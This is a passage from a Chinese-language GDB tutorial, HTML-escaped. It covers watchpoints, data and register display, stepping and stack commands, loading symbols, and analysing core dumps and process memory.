&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;rwatch + 变量&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;rwatch i&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;设置一个观察点，当变量被读出时，程序被暂停&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;catch&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;设置捕捉点来补捉程序运行时的一些事件。如：载入共享库（动态链接库）或是C++的异常&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;tcatch&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;只设置一次捕捉点，当程序停住以后，应点被自动删除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;断点触发时自动执行命令：&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;commands	断点 断点		 &lt;em&gt;&#x2F;&#x2F;选择断点列表，可以是多个&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;...		 &lt;em&gt;&#x2F;&#x2F;执行命令，当为空时表示删除断点触发时执行的命令。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ends&lt;&#x2F;p&gt;
&lt;p&gt;示例：在打印函数位置处入口地址处设置断点，打印字符串的内容&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111240-6o5qpny.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.2 数据命令&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;命令格式&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;例子&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;display +表达式&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;display a&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于显示表达式的值，每当程序运行到断点处都会显示表达式的值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;info display&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于显示当前所有要显示值的表达式的情况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;delete + display 编号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;delete 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于删除一个要显示值的表达式，被删除的表达式将不被显示&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;disable&#x2F;enable + display 编号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;disable&#x2F;enable 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;使一个要显示值的表达式暂时失效&#x2F;使能&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;undisplay + display 编号&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;undisplay 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于结束某个表达式值的显示&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;whatis + 变量&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;whatis i&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;显示某个表达式的数据类型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;print( p ) + 变量&#x2F;表达式&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;p n&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于打印变量或表达式的值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;set + 变量 = 变量值&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;set i = 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;改变程序中某个变量的值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;examine + 地址&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;examine 0xxxx&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;该命令用来查看内存中地址的值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;disassemble + 函数&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;disassemble func&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;该命令用于反汇编，它可以用来查看当前执行时源代码的机器码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;在使用print命令时，可以对变量按指定格式进行输出，其命令格式为print &#x2F;变量名 + 格式，其中常用的变量格式：x：十六进制；d：十进制；u：无符号数；o：八进制；c：字符格式；f：浮点数。&lt;&#x2F;li&gt;
&lt;li&gt;info reg可以显示寄存器内容。&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111319-lk1bi2u.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;br &#x2F;&gt;
在寄存器名之前加$可以显示寄存器内容，&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;p $寄存器：显示寄存器内容&lt;br &#x2F;&gt;
p&#x2F;x $寄存器：十六进制显示寄存器内容。&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111332-fu3t45q.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用x命令可以显示内容内容，“x&#x2F;格式 地址”。&lt;&#x2F;p&gt;
&lt;p&gt;x $pc：显示程序指针内容&lt;br &#x2F;&gt;
x&#x2F;i $pc：显示程序指针汇编。&lt;br &#x2F;&gt;
x&#x2F;10i $pc：显示程序指针之后10条指令。&lt;br &#x2F;&gt;
x&#x2F;128wx 0xfc207000：从0xfc20700开始以16进制打印128个word。&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;gdb&#x2F;image-20231225111342-is16ml7.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.3 调试运行环境相关命令&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;命令格式&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;例子&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;set args&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;set args arg1 arg2&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;设置运行参数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;show args&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;show args&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;参看运行参数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;set width + 数目&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;set width 70&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;设置GDB的行宽&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;cd + 工作目录&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;cd …&#x2F;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;切换工作目录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;run&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;r&#x2F;run&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;程序开始执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;step(s)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;s&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;进入式（会进入到所调用的子函数中）单步执行，进入函数的前提是，此函数被编译有debug信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;stepi(si)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;si&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于进入式单步跟踪一条机器码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;next(n)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;n&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;非进入式（不会进入到所调用的子函数中）单步执行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;nexti(si)&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;ni&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于非进入式单步跟踪一条机器码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;set step-mode&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;set step-mode on&#x2F;off&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于打开&#x2F;关闭step-mode模式，打开情况下，在进行单步调试时，程序不会因为没有debug信息而不停止&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;finish&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;finish&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;一直运行到函数返回并打印函数返回时的堆栈地址和返回值及参数值等信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;until + 行数&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;u 3&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;运行到函数某一行&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;continue( c )&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;c&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;执行到下一个断点或程序结束&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;return &amp;lt;返回值&amp;gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;return 5&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;改变程序流程，直接结束当前函数，并将指定值返回&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;call + 函数&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;call func&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;在当前位置执行所要运行的函数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;4.4 堆栈相关命令&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;命令格式&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;例子&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;作用&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;backtrace&#x2F;bt&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;bt&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用来打印栈帧指针&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;frame&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;frame 1&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用于打印指定栈帧&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;info reg&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;info reg&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;查看寄存器使用情况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;info stack&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;info stack&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;查看堆栈使用情况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;up&#x2F;down&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;up&#x2F;down&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;跳到上一层&#x2F;下一层函数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;backtrace&#x2F;bt 也可以在该命令后加上要打印的栈帧指针的个数，查看程序执行到此时，是经过哪些函数呼叫的程序，程序“调用堆栈”是当前函数之前的所有已调用函数的列表（包括当前函数）。每个函数及其变量都被分配了一个“帧”，最近调用的函数在 0 号帧中（“底部”帧）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;4.5 跳转执行&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;jump：&lt;&#x2F;strong&gt;  指定下一条语句的运行点。可以是文件的行号，可以是file:line格式，可以是+num这种偏移量格式。表示着下一条运行语句从哪里开始。相当于改变了PC寄存器内容，堆栈内容并没有改变，跨函数跳转容易发生错误。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;4.6 信号命令&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;signal：&lt;&#x2F;strong&gt;  signal SIGXXX，产生XXX信号，如SIGINT。一种速查Linux查询信号的方法：# kill -l&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;4.7 Catchpoint&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;catch可以根据某些类型事件来停止程序执行。&lt;&#x2F;p&gt;
&lt;p&gt;可以通过catch syscall close，捕捉产生系统调用close的时候停止程序执行。&lt;&#x2F;p&gt;
&lt;p&gt;其他的catch事件还包括，throw、syscall、assert、exception等等。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.8 符号加载&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;有些场景需要我们手动加载符号表，远程调试时gdb server和gdb client不在同一个进程中或者相同的机器上，程序在运行时加载到随机地址。加载符号表有两种方式：&lt;strong&gt;file&lt;&#x2F;strong&gt; 和 &lt;strong&gt;add-symbol-file&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;file &#x2F;path&#x2F;to&#x2F;program&lt;&#x2F;strong&gt; ：读取程序和符号表到内存中，它本身可以选择被调试的程序，附带的将符号表加载到gdb中，但是它并不能指定地址。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;add-symbol-file &#x2F;path&#x2F;to&#x2F;symbol-file start-addr&lt;&#x2F;strong&gt; ：将符号表加载到某个位置。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;用法：&lt;&#x2F;strong&gt;  add-symbol-file FILE [-readnow | -readnever] [-o OFF] [ADDR] [-s SECT-NAME SECT-ADDR]…
&lt;strong&gt;选项：&lt;&#x2F;strong&gt;
- FILE：编译好的带调试信息的debug文件。
- ADDR：文件文本的起始地址。
- 每个’-s’参数提供了一个段名和地址，如果数据段和bss段不是与文本连续的，则应该指定。SECT-NAME是在SECT-ADDR中加载的section名。
- OFF：一个可选的偏移量，它被添加到没有指定其他地址的所有节的默认加载地址中。
- &#x27;-readnow’选项将导致GDB立即读取整个符号文件。这使得指挥速度变慢，但可能使未来的行动更快。
&lt;strong&gt;含义：&lt;&#x2F;strong&gt;  从文件中加载符号表，假设文件已经动态加载。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.9 运行shell命令&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;如(gdb)shell ls来运行ls&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;4.10 更多程序运行选项和调试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;程序运行参数&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;set args 可指定运行时参数。（如：set args 10 20 30 40 50）
show args 命令可以查看设置好的运行参数。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行环境&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;path 可设定程序的运行路径。
show paths 查看程序的运行路径。
set environment varname [=value] 设置环境变量。如：set env USER=hchen
show environment [varname] 查看环境变量。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作目录&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;cd 相当于shell的cd命令。
pwd 显示当前的所在目录。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;程序的输入输出&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;info terminal 显示你程序用到的终端的模式。
使用重定向控制程序输出。如：run &amp;gt; outfile
tty命令可以指写输入输出的终端设备。如：tty &#x2F;dev&#x2F;ttyb&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;调试已运行的程序&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;两种方法：
(1) 在UNIX下用ps查看正在运行的程序的PID（进程ID），然后用gdb PID格式挂接正在运行的程序。
(2) 先用gdb 关联上源代码，并进行gdb，在gdb中用attach命令来挂接进程的PID。并用detach来取消挂接的进程。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;暂停 &#x2F; 恢复程&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;序运行当进程被gdb停住时，你可以使用info program 来查看程序的是否在运行，进程号，被暂停的原因。 在gdb中，我们可以有以下几种暂停方式：&lt;strong&gt;断点（BreakPoint）、观察点（WatchPoint）、捕捉点（CatchPoint）、信号（Signals）、线程停止（Thread Stops）&lt;&#x2F;strong&gt; ，如果要恢复程序运行，可以使用c或是continue命令。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;线程（Thread Stops）&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果程序是多线程，可以定义断点是否在所有的线程上，或是在某个特定的线程。
break thread
break thread if ...
linespec指定了断点设置在的源程序的行号。threadno指定了线程的ID，注意，这个ID是GDB分配的，可以通过“info threads”命令来查看正在运行程序中的线程信息。如果不指定thread 则表示断点设在所有线程上面。还可以为某线程指定断点条件。如：
(gdb) break frik.c:13 thread 28 if bartab &amp;gt; lim
当你的程序被GDB停住时，所有的运行线程都会被停住。这方便查看运行程序的总体情况。而在你恢复程序运行时，所有的线程也会被恢复运行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.11 调试core文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（1）Core Dump：&lt;&#x2F;strong&gt;  Core的意思是内存，Dump的意思是扔出来，堆出来。开发和使用Unix程序时，有时程序莫名其妙的down了，却没有任何的提示(有时候会提示core dumped)，这时候可以查看一下有没有形如core.进程号的文件生成，这个文件便是操作系统把程序down掉时的内存内容扔出来生成的, 它可以做为调试程序的参考&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（2）生成Core文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一般默认情况下，core file的大小被设置为了0，这样系统就不dump出core file了。修改后才能生成core文件。&lt;&#x2F;p&gt;
&lt;p&gt;ulimit -c unlimited
ulimit unlimited&lt;&#x2F;p&gt;
&lt;p&gt;这些需要有root权限，在ubuntu下每次重新打开中断都需要重新输入上面的第一条命令，来设置core大小为无限。&lt;&#x2F;p&gt;
&lt;p&gt;core文件生成路径：输入可执行文件运行命令的同一路径下。若系统生成的core文件不带其他任何扩展名称，则全部命名为core。新的core文件生成将覆盖原来的core文件。&lt;&#x2F;p&gt;
&lt;p&gt;1）&#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;core_uses_pid 可以控制core文件的文件名中是否添加pid作为扩展。文件内容为1，表示添加pid作为扩展名，生成的core文件格式为core.xxxx；为0则表示生成的core文件统一命名为core。&lt;&#x2F;p&gt;
&lt;p&gt;可通过以下命令修改此文件：&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;1&quot; &amp;gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;core_uses_pid&lt;&#x2F;p&gt;
&lt;p&gt;2）proc&#x2F;sys&#x2F;kernel&#x2F;core_pattern可以控制core文件保存位置和文件名格式。&lt;&#x2F;p&gt;
&lt;p&gt;可通过以下命令修改此文件：&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;&#x2F;corefile&#x2F;core-%e-%p-%t&quot; &amp;gt; core_pattern，可以将core文件统一生成到&#x2F;corefile目录下，产生的文件名为core-命令名-pid-时间戳&lt;&#x2F;p&gt;
&lt;p&gt;以下是参数列表：&lt;&#x2F;p&gt;
&lt;p&gt;%p - insert pid into filename 添加pid
%u - insert current uid into filename 添加当前uid
%g - insert current gid into filename 添加当前gid
%s - insert signal that caused the coredump into the filename 添加导致产生core的信号
%t - insert UNIX time that the coredump occurred into filename 添加core文件生成时的unix时间
%h - insert hostname where the coredump happened into filename 添加主机名
%e - insert coredumping executable name into filename 添加命令名&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（3）用gdb查看core文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;发生core dump之后，用gdb进行查看core文件的内容，以定位文件中引发core dump的行。&lt;&#x2F;p&gt;
&lt;p&gt;gdb [exec file] [core file]&lt;&#x2F;p&gt;
&lt;p&gt;如：gdb .&#x2F;test core&lt;&#x2F;p&gt;
&lt;p&gt;或　gdb .&#x2F;a.out
&lt;code&gt;　　&lt;&#x2F;code&gt;core-file core.xxxx&lt;&#x2F;p&gt;
&lt;p&gt;gdb后，用bt命令backtrace或where查看程序运行到哪里，来定位core dump的文件-&amp;gt;行。&lt;&#x2F;p&gt;
&lt;p&gt;待调试的可执行文件，在编译的时候需要加-g，core文件才能正常显示出错信息。&lt;&#x2F;p&gt;
&lt;p&gt;1）gdb -core=core.xxxx&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;   &lt;&#x2F;code&gt;file .&#x2F;a.out&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;   &lt;&#x2F;code&gt;bt&lt;&#x2F;p&gt;
&lt;p&gt;2）gdb -c core.xxxx&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;   &lt;&#x2F;code&gt;file .&#x2F;a.out&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;   &lt;&#x2F;code&gt;bt&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（4）用gdb实时观察某进程crash信息&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;启动进程&lt;&#x2F;p&gt;
&lt;p&gt;gdb -p PID&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;p&gt;运行进程至crash&lt;&#x2F;p&gt;
&lt;p&gt;gdb会显示crash信息&lt;&#x2F;p&gt;
&lt;p&gt;bt&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;（5）gdb dump 进程内存&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;获取目标进程的虚拟地址映射&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;$ cat &#x2F;proc&#x2F;[pid]&#x2F;maps&lt;&#x2F;p&gt;
&lt;p&gt;root@x86_64: ## cat &#x2F;proc&#x2F;2436&#x2F;maps |grep vdso&lt;&#x2F;p&gt;
&lt;p&gt;7fffd91f3000-7fffd91f5000 r-xp 00000000 00:00 0                          [vdso]&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;dump内存地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;#### commands: dump memory file start-addr end-addr&lt;&#x2F;p&gt;
&lt;p&gt;(gdb) dump memory  &#x2F;home&#x2F;linux&#x2F;dump 0x7fffd91f3000 0x7fffd91f5000&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;查看二进制文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用vi打开二进制文件分析&lt;&#x2F;p&gt;
&lt;p&gt;vi dump&lt;&#x2F;p&gt;
&lt;p&gt;:%!xxd&lt;&#x2F;p&gt;
